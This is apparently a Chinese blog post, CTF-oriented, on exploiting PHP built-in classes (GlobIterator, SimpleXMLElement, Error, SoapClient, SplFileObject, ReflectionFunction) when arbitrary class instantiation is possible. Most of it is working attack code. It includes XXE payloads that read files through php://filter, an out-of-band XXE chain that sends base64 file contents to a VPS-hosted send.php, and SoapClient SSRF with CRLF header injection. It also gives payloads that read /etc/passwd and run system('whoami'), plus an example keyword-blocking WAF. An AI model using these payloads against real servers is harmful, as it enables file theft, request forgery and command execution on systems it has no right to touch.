php原生类利用

适用场景

在存在任意类实例化漏洞但是没有pop链的情况下,可以尝试利用原生类

GlobIterator

可以列出目录下的文件名

适用版本:php5.3.* php 7

第一个参数指定搜索的路径和类型,第二个参数为选择文件的哪个信息作为键名

1
$newclass = new GlobIterator('./*.php',0);
1
2
3
4
5
6
7
8
<?php

$iterator = new GlobIterator(__DIR__ . './*.php');
while ($iterator->valid()) {
echo $iterator->current()->getFilename() . '</br>';
$iterator->next();
}
?>

SimpleXMLElement

SimpleXMLElement::__contruct

Libxml2.9后默认不允许解析外部实体,可以通过函数参数LIBXML_NOENT开启解析

利用

根据可控方式选择

本地读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class NotFound{
function __construct()
{
die('404');
}
}
spl_autoload_register(
function ($class){
new NotFound();
}
);
$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)){
$newclass = new $classname($param,$param2);
var_dump($newclass);
foreach ($newclass as $key=>$value)
echo $key.'=>'.$value.'<br>';
}
1
2
3
4
5
6
7
8
9
10
11
12
<?php


$a='<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./1.php">
]>
<x>&xxe;</x>';

$a=new SimpleXMLElement($a,2);
echo $a;
?>

需要两个参数可控

利用SimpleXMLElement构造一个XML文档,从而利用 XXE读取文件 。当文件中有< > & ‘ “ 这5个符号时,会导致XML文件解析错误,所以要利用php://filter,将要读取的文件内容经过 base64编码 后输出。如:

1
2
3
4
5
<?xml version="1.0" ?>
<!DOCTYPE ANY[
<!ENTITY name SYSTEM "php://filter/read=convert.base64-encode/resource=./flag.php" >]
>
<a>&name;</a>

有几个地方需要注意以下,在url中不能直接打& 会被歧义,我们使用 %26 还有就是resource=后面不需要引号包裹。第二个参数里的2对应的模式是 LIBXML_NOENT。
payload:

1
?name=SimpleXMLElement&param=<?xml version="1.0" ?><!DOCTYPE ANY[<!ENTITY name SYSTEM "php://filter/read=convert.base64-encode/resource=./flag.php" >]><a>%26name;</a>&param2=2

至于为什么第二个参数为二,实际上这里2对应的模式是 LIBXML_NOENT ,我们直接记住用二吧不然就是直接百度。

远程读取

必须有三个参数可控,才能读取远程xml文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// index.php
<?php
class NotFound{
function __construct()
{
die('404');
}
}
spl_autoload_register(
function ($class){
new NotFound();
}
);
$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
$param3 = isset($_GET['param3']) ? $_GET['param3'] : null;
if(class_exists($classname)){
//$newclass = new $classname($param,$param2);
$newclass = new $classname($param,$param2,$param3);
var_dump($newclass);
// foreach ($newclass as $key=>$value)
// echo $key.'=>'.$value.'<br>';
}

SimpleXMLElement读取远程文件evil.xml->evil.xml请求send.xml,实际执行的是send.xml

send.php负责保存结果,在vps上构造如下evil.xml、send.xml和send.php这三个文件。

evil.xml:

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://47.xxx.xxx.72/send.xml">
%remote;
%all;
%send;
]>

send.xml:

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://192.168.111.129/send.php?file=%file;'>">

send.php:

1
2
3
<?php 
file_put_contents("result.txt", $_GET['file']) ;
?>

然后在url中构造如下:

1
/show.php?module=SimpleXMLElement&args[]=http://47.xxx.xxx.72/evil.xml&args[]=2&args[]=true

接收到数据

Error/Exception

__toString

Error

1
2
3
4
<?php
$a=new Error('<script>alert(1)</script>');
echo $a;
?>

getmessage

getMessage可直接传入eval执行命令,将转换成hex执行

1
2
3
4
$a = new Error('?');
$c = "getMessage";
$d = "eval(phpinfo())";
eval("\$a->$c($d);");
1
eval(hex2bin("6563686f20706928293b"))
1
2
3
4
5
6
7
<?php
echo bin2hex('phpinfo();');
$a=new Error();
$a->getMessage(eval(hex2bin("706870696e666f28293b")));
//
//echo bin2hex('phpinfo()');
?>

SoapClient

php存在内置类SoapClient::__call,存在可以触发__call方法时,可以进行ssrf

进行SSRF

配合CRLF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$target = 'http://192.168.111.129:5555/path';
$post_string = 'data=something';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=my_session'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo $aaa;

$c = unserialize($aaa);
$c->not_exists_function();
?>

成功接收到报文

DirectoryIterator

遍历目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
DirectoryIterator extends SplFileInfo implements SeekableIterator {
/* 方法 */
public __construct ( string $path )
public current ( ) : DirectoryIterator
public getATime ( ) : int
public getBasename ( string $suffix = ? ) : string
public getCTime ( ) : int
public getExtension ( ) : string
public getFilename ( ) : string
public getGroup ( ) : int
public getInode ( ) : int
public getMTime ( ) : int
public getOwner ( ) : int
public getPath ( ) : string
public getPathname ( ) : string
public getPerms ( ) : int
public getSize ( ) : int
public getType ( ) : string
public isDir ( ) : bool
public isDot ( ) : bool
public isExecutable ( ) : bool
public isFile ( ) : bool
public isLink ( ) : bool
public isReadable ( ) : bool
public isWritable ( ) : bool
public key ( ) : string
public next ( ) : void
public rewind ( ) : void
public seek ( int $position ) : void
public __toString ( ) : string // 以字符串形式获取文件名
public valid ( ) : bool
}

FilesystemIterator

列出目录下文件

1
2
3
<?php
$dir=new FilesystemIterator("/");
echo $dir;

SplFileInfo

读取文件,但是不添加其他参数只能读取第一行

1
2
3
<?php
$context = new SplFileObject('/etc/passwd');
echo $context;

可以通过遍历的方式读取所有内容

1
2
3
4
5
<?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
echo($f);
}

ReflectionFunction

invokeArgs 可执行命令

1
2
3
4
5
6
7
8
9
10
<?php


$a=new ReflectionFunction('call_user_func');
$a->invokeArgs(array('system','whoami'));


$a=new ReflectionFunction('system');
$a->invokeArgs(array('whoami'));
?>

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
function waf($s){
return preg_replace('/sys|exec|sh|flag|pass|file|open|dir|2333|;|#|\/\/|>/i',"NepnEpneP", $s);
}
if(isset($_GET['a'])){
$_ = waf($_GET['a']);
$__ = waf($_GET['b']);
$a = new $_($__);}
else{
$a = new Error('?');}
if(isset($_GET['c']) && isset($_GET['d'])){
$c = waf($_GET['c']);
$d = waf($_GET['d']);
eval("\$a->$c($d);");
}
else{
$c = "getMessage";
$d = "";
eval("echo \$a->$c($d);");}



//$a = new Error('?');
//$c = "getMessage";
//$d = "eval(phpinfo())";
//eval("\$a->$c($d);");
?>

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!